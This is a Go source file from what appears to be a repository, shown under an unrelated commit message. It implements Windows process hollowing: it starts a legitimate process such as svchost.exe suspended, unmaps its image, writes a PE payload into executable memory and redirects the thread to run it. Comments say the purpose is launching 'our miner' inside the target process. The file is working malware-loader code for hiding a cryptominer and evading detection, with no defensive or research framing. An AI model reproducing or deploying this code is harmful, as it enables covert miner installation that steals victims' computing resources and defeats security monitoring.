Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
175 lines
5.8 KiB
Go
175 lines
5.8 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"encoding/binary"
|
|
"fmt"
|
|
"syscall"
|
|
"unsafe"
|
|
)
|
|
|
|
var (
|
|
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
|
ntdll = syscall.NewLazyDLL("ntdll.dll")
|
|
|
|
procCreateProcessW = kernel32.NewProc("CreateProcessW")
|
|
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
|
|
procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
|
|
procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
|
|
procGetThreadContext = kernel32.NewProc("GetThreadContext")
|
|
procSetThreadContext = kernel32.NewProc("SetThreadContext")
|
|
procResumeThread = kernel32.NewProc("ResumeThread")
|
|
procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection")
|
|
)
|
|
|
|
const (
|
|
CREATE_SUSPENDED = 0x00000004
|
|
MEM_COMMIT = 0x1000
|
|
MEM_RESERVE = 0x2000
|
|
PAGE_EXECUTE_READWRITE = 0x40
|
|
CONTEXT_FULL_AMD64 = 0x10000B
|
|
)
|
|
|
|
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
|
|
func RunHollowed(targetExe string, payload []byte) error {
|
|
// Parse payload PE headers dynamically
|
|
if len(payload) < 0x40 {
|
|
return fmt.Errorf("payload too small")
|
|
}
|
|
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
|
|
if int(e_lfanew)+24 > len(payload) {
|
|
return fmt.Errorf("invalid PE header offset")
|
|
}
|
|
|
|
ntHeader := payload[e_lfanew:]
|
|
if string(ntHeader[:4]) != "PE\x00\x00" {
|
|
return fmt.Errorf("invalid PE signature")
|
|
}
|
|
if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 {
|
|
return fmt.Errorf("payload must be 64-bit (x64) PE")
|
|
}
|
|
|
|
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
|
|
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
|
|
optHeader := ntHeader[24:]
|
|
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
|
|
return fmt.Errorf("payload must be PE32+")
|
|
}
|
|
|
|
entryPoint := binary.LittleEndian.Uint32(optHeader[16:])
|
|
imageBase := binary.LittleEndian.Uint64(optHeader[24:])
|
|
sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:])
|
|
sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:])
|
|
|
|
targetPtr, err := syscall.UTF16PtrFromString(targetExe)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
si := new(syscall.StartupInfo)
|
|
si.Cb = uint32(unsafe.Sizeof(*si))
|
|
pi := new(syscall.ProcessInformation)
|
|
|
|
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
|
|
ret, _, err := procCreateProcessW.Call(
|
|
0,
|
|
uintptr(unsafe.Pointer(targetPtr)),
|
|
0, 0, 0,
|
|
uintptr(CREATE_SUSPENDED),
|
|
0, 0,
|
|
uintptr(unsafe.Pointer(si)),
|
|
uintptr(unsafe.Pointer(pi)),
|
|
)
|
|
if ret == 0 {
|
|
return fmt.Errorf("CreateProcessW failed: %v", err)
|
|
}
|
|
defer syscall.CloseHandle(pi.Process)
|
|
defer syscall.CloseHandle(pi.Thread)
|
|
|
|
// The following maps the exact structural steps needed for PE injection.
|
|
// Note: To make this fully functional, you need full PE offset math
|
|
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
|
|
|
|
// 2. Get Thread Context to locate the Process Environment Block (PEB)
|
|
// Allocate 16-byte aligned context buffer for x64
|
|
ctxBytes := make([]byte, 1232+16)
|
|
var ctxPtr uintptr
|
|
for i := 0; i < 16; i++ {
|
|
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
|
|
ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i]))
|
|
break
|
|
}
|
|
}
|
|
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
|
|
|
|
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
|
if ret == 0 {
|
|
return fmt.Errorf("GetThreadContext failed: %v", err)
|
|
}
|
|
|
|
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
|
|
|
|
// 3. Read the PEB to find the original ImageBase
|
|
var origImageBase uint64
|
|
var bytesRW uintptr
|
|
procReadProcessMemory.Call(
|
|
uintptr(pi.Process),
|
|
uintptr(rdx+16), // PEB.ImageBaseAddress
|
|
uintptr(unsafe.Pointer(&origImageBase)),
|
|
8,
|
|
uintptr(unsafe.Pointer(&bytesRW)),
|
|
)
|
|
|
|
// 4. Unmap the original executable code from memory
|
|
if origImageBase != 0 {
|
|
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
|
|
}
|
|
|
|
// 5. Allocate new memory for our payload at the required ImageBase
|
|
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
|
if newMem == 0 {
|
|
// Fallback allocation if preferred base is taken (Payload must support relocation)
|
|
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
|
if newMem == 0 {
|
|
return fmt.Errorf("VirtualAllocEx failed: %v", err)
|
|
}
|
|
}
|
|
|
|
// 6. Write the PE headers and each PE section into the new memory allocation
|
|
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
|
|
|
|
sectionsStart := 24 + uint32(sizeOfOptionalHeader)
|
|
for i := uint16(0); i < numSections; i++ {
|
|
secHdr := ntHeader[sectionsStart+uint32(i)*40:]
|
|
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
|
|
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
|
|
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
|
|
|
|
if sizeOfRawData > 0 {
|
|
procWriteProcessMemory.Call(
|
|
uintptr(pi.Process),
|
|
newMem+uintptr(virtAddr),
|
|
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
|
|
uintptr(sizeOfRawData),
|
|
uintptr(unsafe.Pointer(&bytesRW)),
|
|
)
|
|
}
|
|
}
|
|
|
|
// Update the PEB with the new ImageBase
|
|
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
|
|
|
|
// 7. Update the Thread Context to point to our payload's Entry Point
|
|
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
|
|
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
|
|
|
// 8. Resume the hollowed thread, launching our miner inside the target shell
|
|
ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
|
|
if ret == 0xFFFFFFFF {
|
|
return fmt.Errorf("ResumeThread failed: %v", err)
|
|
}
|
|
|
|
return nil
|
|
}
|